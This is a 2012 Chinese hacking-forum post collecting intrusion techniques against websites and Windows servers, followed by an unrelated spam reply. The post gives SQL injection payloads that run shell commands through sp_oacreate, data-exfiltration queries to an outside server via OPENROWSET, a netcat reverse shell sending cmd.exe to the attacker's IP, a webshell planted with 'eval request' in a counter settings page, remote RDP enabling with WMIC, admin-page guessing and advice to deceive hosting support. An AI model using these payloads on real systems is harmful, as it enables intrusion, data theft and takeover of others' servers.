找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3638|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关) r7 F& i+ o8 Z1 h6 z% |  P

2 ?( f5 D7 ~! e- _; v
- X: Q# c* F! n4 F0 v( KSA点数据库分离搞法+语句:3 G5 x. A7 j. G$ }) \: O
& E) L3 R* k$ T. e
注射点不显错,执行下面三条语句页面都返回正常。) @7 X7 E* I) i0 N( H+ Q& P
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
: u3 `( D: B+ {) `8 cand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
# t& T6 b4 u7 ~and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')1 O  C. Z; h% [0 B: g
可以列目录,判断系统为2000,web与数据库分离* d# h2 h: C3 N. e: X/ X
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。* m$ U: }- B/ |
在注射点上执行
/ }7 l5 \7 ~3 l4 f: o3 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
, Q2 d6 T7 y- I3 i3 C页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
, I  I1 u6 u( _0 j! o' M' g还有我用NC监听得其他端口都没有得到IP。( o5 o. S' f+ ^0 x) U( V

( d* n# g8 V- n4 b% ^  Q' a通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。+ c; N: ]+ z( Y9 T0 }+ G1 ^2 {
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--" E' T6 r9 Y3 {
+ ]3 j/ |- m+ P  D
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--( k- \' q! K" r/ r* X- r
; j3 C& x" t( b; f
现在就猜想是不是数据库是内网而且不能连外网。
+ J5 Q  H) ?) `9 q( P  [( d: d: c) x+ `

+ V* _6 M4 t$ Gaccess导出txt文本代码  `0 o9 L& }7 k/ `9 u9 q1 ~$ X
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin: `8 I2 {0 F7 K2 d1 K  |: J

& \* r" v) ?; q+ g; X" F, I: A5 ^1 `  u" k$ y# ?/ C

% I. C; T( _& _$ ?# u$ A* p0 W自动跳转到指定网站代码头# ~6 K6 `$ G1 \% k& w3 Z: V1 ]
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>3 {$ d& V# S3 r. m" Y7 ~

0 O# m+ i9 ^8 f. J# {( t4 [; }& Z1 D  s
入侵java or jsp站点时默认配置文件路径:
1 p" g3 {1 V1 S/ y5 b* A\web-inf\web.xml
$ i5 F% L/ g- g  \( u* |/ f9 jtomcat下的配置文件位置:; Y3 {, y* m/ l: k
\conf\server.xml            (前面加上tomcat路径)
# Q" Z) P. o. h& W" o\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
/ Z$ n4 p$ o9 g" E9 u
! P/ u& u- v. M' N3 b$ K! I# U  Z( S6 |) p6 X+ m. `" @

$ L' R6 y6 Y) ^4 g! _4 r检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:- j- T+ Y1 x' n0 ]* N
-1%23
2 O, q% x" u% b9 F5 [* v9 G) E9 `>
+ W3 d8 v+ J. C  ]3 B+ m, H<
1 I1 V& W/ T+ [; {7 O2 Q1'+or+'1'='1+ u0 i6 \# I6 [9 U
id=8%bf
5 c! {- I& D. P( |
# n; ]0 _! h9 c6 C& U全新注入点检测试法:  q2 c  @2 n+ O, `
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。! z/ f. k8 @4 |/ u2 K9 q

7 h7 T  A, N( k( K* F在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
% p0 f" V  Z% J) I9 f( U
- \" o# Q* H" w& _  q搜索型注入判断方法:
' G/ `5 |! ^* ?" f! b0 O* H- P北京%' and '1'='1' and '%'='+ `) B5 D3 ?! g2 Z$ P/ T  ?9 c
北京%' and '1'='2' and '%'='
8 [2 U, v: q" q. y$ ~) N5 k* l( p0 t& p& p3 ^
+ ?* b/ V1 ~$ B
COOKIES注入:( X/ H4 ~5 Z" f; _! ]5 w
. g2 ]  K- P3 }' P0 p: ^0 N7 h
javascript:alert(document.cookie="id="+escape("51 and 1=1"));& \# Z. l6 S* j' q
5 F1 ^, O0 U' m4 M
2000专业版查看本地登录用户命令:
2 Y1 g2 P$ f; O+ F' lnet config workstation
; S" P7 b  u! g# ]2 X9 \8 ^! C8 [) [9 g9 P; N0 i# y

2 d( I$ }9 K. i* M9 y8 g* h- x2003下查看ipsec配置和默认防火墙配置命令:9 f  Z4 ^& X& l1 F2 g5 t) d9 Y
netsh firewall show config  i  }" [1 H' Y
netsh ipsec static show all
/ b; x) w: w' p; q
' k0 R* i% M  V/ u不指派指定策略命令:* Z* Q7 s8 I) e1 S) i! `
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)1 o0 @3 I0 \) W9 q7 g
netsh ipsec static show policy all  显示策略名# E! M/ K1 O, v# y: h1 y
: D$ p1 C4 G/ B% j

- R% J7 j& c0 {1 y. E* j猜管理员后台小技巧:
6 Z* d+ u" l0 A, tadmin/left.asp * X% f1 Y4 ]' Z
admin/main.asp
' C/ K) p+ q4 P. iadmin/top.asp5 ]  M" h0 z% @/ v+ \
admin/admin.asp $ h+ Y; @$ E* t0 S
会现出菜单导航,然后迅雷下载全部链接
- W5 ^7 Q( e' E4 O$ T9 Z) o% c: D# p
; |  D5 X& v/ X* k/ |7 a# |
社会工程学:
% D! n. l" \# c( Z( i; [用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人+ |' X/ v! V& ]# [; w9 ~
然后去骗客服: h3 B9 D& [$ d  h4 l  c

7 i+ W  X, A4 K/ P( }- P) C% D; a7 W) h( H
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: - N4 T) g' r3 J1 x3 z0 \1 X
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, # T' J% M: `( E
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。" G" l- m, D4 Z. y. Y3 d4 A

6 `' }( P/ P: h6 V* B; j/ c
" q1 F/ \, h1 ?" w2 b' ~  a. g) Z& |/ n; D+ M* m
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
; n: P8 O: `/ M% V/ d1 \, |2 x% H0 ~6 p, C
) a, D- E6 u0 M6 |% U4 c) U* H
2 @. U' s3 H! L2 e( [; M" }% @
CMD加密注册表位置
, e2 U: [" ^1 D% }(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
# c9 x& P7 T2 C( c9 @# H% YAutoRun3 T" S+ G) R" v& [( n6 y

+ |; X  i0 x* ^: r: ^(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor4 G* ^" ?' R& O
AutoRun  n; `2 y2 M* O" A

! H8 S9 n' p7 n8 `! l7 L
$ v' s- x# A, n) Q9 @$ y在找注入时搜索Hidden,把他改成test
; T# H# K. N1 g8 G& V( R& d+ `2 Z  O( f" ^  m# v
5 k( ~$ L# @4 h" C' y& M
2 x# F0 ?' H+ R  n+ a" G/ U' _
mstsc /v:IP /console
( d) h7 D" q6 u7 o$ q4 |
# p* L) v; q! n
' p- r8 P2 O2 `' ~- a$ m一句话开3389:
2 L; G4 T( U+ n+ J! d, b" A, A6 o! u/ x$ a6 l3 r
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
; x9 \, l! l) _% v( Y7 F开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
' l  \9 x) L5 d, l4 d; t2 x; ~0 Q( n* O
: O5 D" l3 J9 }/ d3 Z# o( z
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
/ F4 L! E( {; [" {, {8 G1 tInsert into admin(user,pwd) values('test','test')
% u' ~$ N8 b! A, F  k0 v! b
7 [0 K% v9 O1 K0 _5 J0 D! Q' @1 h% y+ x' w) h! H5 O) g
NC反弹$ r  i! l/ K1 I, b
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
0 a, G+ A4 |; b然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)8 G. B* b) }* F& C: a" D8 a% s

' t  k$ _/ T7 D8 I7 v" t
: d9 J1 m1 S) ^* M- h( W" S0 s; z+ _在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
5 v& z) u1 y; A% l3 Q1 Y3 k0 O$ @
2 C9 p, V. O3 Y6 \有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录" d- F; a/ ~4 s5 _& B5 |( l6 b
例如:
1 S2 c# h: @) i: S/ M3 R7 P& isubst k: d:\www\ 用d盘www目录替代k盘& j( X" {; }4 J* `: r6 h
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表